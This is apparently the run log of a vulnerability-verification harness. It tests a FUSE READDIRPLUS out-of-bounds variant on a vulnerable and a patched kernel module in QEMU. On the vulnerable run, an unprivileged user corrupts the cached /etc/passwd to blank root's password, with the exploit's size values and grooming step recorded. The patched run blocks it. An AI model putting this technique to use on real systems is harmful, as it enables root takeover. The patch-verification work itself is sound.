[2026-07-03T18:14:13+00:00] Using kernel image: /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-build-nokasan-fuse/arch/x86/boot/bzImage
[2026-07-03T18:14:13+00:00] Using Linux source tree: /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src
[2026-07-03T18:14:13+00:00] Source version components: 6.18.18.
[2026-07-03T18:14:13+00:00] Building READDIRPLUS variant helper
[2026-07-03T18:14:13+00:00] Creating active ext4 rootfs for READDIRPLUS vuln attempt
debugfs 1.47.2 (1-Jan-2025)
debugfs:  mkdir /bin
debugfs:  mkdir /dev
debugfs:  mkdir /proc
debugfs:  mkdir /sys
debugfs:  mkdir /tmp
debugfs:  mkdir /etc
debugfs:  write /usr/bin/busybox /bin/busybox
Allocated inode: 19
debugfs:  sif /bin/busybox mode 0100755
debugfs:  
<c2a36dfd/bundle/vuln_variant/init.readdirplus /init
Allocated inode: 20
debugfs:  sif /init mode 0100755
debugfs:  
<_variant/fuse_readdirplus_lpe /fuse_readdirplus_lpe
Allocated inode: 21
debugfs:  sif /fuse_readdirplus_lpe mode 0100755
debugfs:  
<vuln_variant/fuse-readdirplus-vuln.ko /fuse-vuln.ko
Allocated inode: 22
debugfs:  sif /fuse-vuln.ko mode 0100644
debugfs:  
<ln_variant/fuse-readdirplus-fixed.ko /fuse-fixed.ko
Allocated inode: 23
debugfs:  sif /fuse-fixed.ko mode 0100644
debugfs:  
<2a36dfd/bundle/vuln_variant/passwd.seed /etc/passwd
Allocated inode: 24
debugfs:  sif /etc/passwd mode 0100444
debugfs:  sif /etc/passwd uid 0
debugfs:  sif /etc/passwd gid 0
debugfs:  [2026-07-03T18:14:13+00:00] Booting READDIRPLUS vuln attempt through QEMU
[    2.025905] VFS: Mounted root (ext4 filesystem) readonly on device 253:0.
VARIANT_ROLE=vuln
VARIANT_KERNEL=6.18.18
VARIANT_BEFORE=root:x:0:0:root:/root:/bin/sh
=== FUSE READDIRPLUS readdir-cache OOB - variant LPE ===
[+] FUSE at /tmp/fuse_oob_69iAi4 (mounted by privileged harness, READDIRPLUS forced)
[+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd
[+] Direct write check as uid 1000: Read-only file system
[fuse] INIT: advertising FUSE_DO_READDIRPLUS for variant path
--- Warmup ---
[*] W1/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
HIT (1)
[*] W2/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
[*] W3/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
HIT (2)
[*] W4/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
HIT (3)
[*] W5/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
[+] Warmup: 3/5 (60%)
[*] LPE 1/200 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
[+] CORRUPTED /etc/passwd first_line=root::0:0:x:.:
HIT!
[+] PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd
VARIANT_EXPLOIT_RC=0
VARIANT_AFTER=root::0:0:x:.:
VARIANT_RESULT_READDIRPLUS_LPE_CONFIRMED
[2026-07-03T18:14:17+00:00] VULNERABLE READDIRPLUS attempt: unprivileged page-cache corruption of /etc/passwd confirmed
[2026-07-03T18:14:17+00:00] Creating active ext4 rootfs for READDIRPLUS fixed attempt
debugfs 1.47.2 (1-Jan-2025)
debugfs:  mkdir /bin
debugfs:  mkdir /dev
debugfs:  mkdir /proc
debugfs:  mkdir /sys
debugfs:  mkdir /tmp
debugfs:  mkdir /etc
debugfs:  write /usr/bin/busybox /bin/busybox
Allocated inode: 19
debugfs:  sif /bin/busybox mode 0100755
debugfs:  
<c2a36dfd/bundle/vuln_variant/init.readdirplus /init
Allocated inode: 20
debugfs:  sif /init mode 0100755
debugfs:  
<_variant/fuse_readdirplus_lpe /fuse_readdirplus_lpe
Allocated inode: 21
debugfs:  sif /fuse_readdirplus_lpe mode 0100755
debugfs:  
<vuln_variant/fuse-readdirplus-vuln.ko /fuse-vuln.ko
Allocated inode: 22
debugfs:  sif /fuse-vuln.ko mode 0100644
debugfs:  
<ln_variant/fuse-readdirplus-fixed.ko /fuse-fixed.ko
Allocated inode: 23
debugfs:  sif /fuse-fixed.ko mode 0100644
debugfs:  
<2a36dfd/bundle/vuln_variant/passwd.seed /etc/passwd
Allocated inode: 24
debugfs:  sif /etc/passwd mode 0100444
debugfs:  sif /etc/passwd uid 0
debugfs:  sif /etc/passwd gid 0
debugfs:  [2026-07-03T18:14:17+00:00] Booting READDIRPLUS fixed attempt through QEMU
[    1.973303] VFS: Mounted root (ext4 filesystem) readonly on device 253:0.
VARIANT_ROLE=fixed
VARIANT_KERNEL=6.18.18
VARIANT_BEFORE=root:x:0:0:root:/root:/bin/sh
=== FUSE READDIRPLUS readdir-cache OOB - variant LPE ===
[+] FUSE at /tmp/fuse_oob_qvUX08 (mounted by privileged harness, READDIRPLUS forced)
[+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd
[+] Direct write check as uid 1000: Read-only file system
[fuse] INIT: advertising FUSE_DO_READDIRPLUS for variant path
--- Warmup ---
[*] W1/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
[*] W2/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
[*] W3/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
[*] W4/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
[*] W5/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming
[fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120
[+] Warmup: 0/5 (0%)
[-] No warmup hits.
VARIANT_EXPLOIT_RC=1
VARIANT_AFTER=root:x:0:0:root:/root:/bin/sh
VARIANT_RESULT_FIXED_REJECTED_READDIRPLUS_OVERSIZED_DIRENT
[2026-07-03T18:14:21+00:00] FIXED READDIRPLUS attempt: oversized embedded dirent failed closed; /etc/passwd unchanged
[2026-07-03T18:14:21+00:00] READDIRPLUS vulnerable variant success: 1/1
[2026-07-03T18:14:21+00:00] READDIRPLUS fixed bypass success: 0/1
[2026-07-03T18:14:21+00:00] READDIRPLUS fixed blocking success: 1/1
[2026-07-03T18:14:21+00:00] NO BYPASS: READDIRPLUS is a real alternate parser path on the vulnerable module, but the fixed module's sink guard blocks it.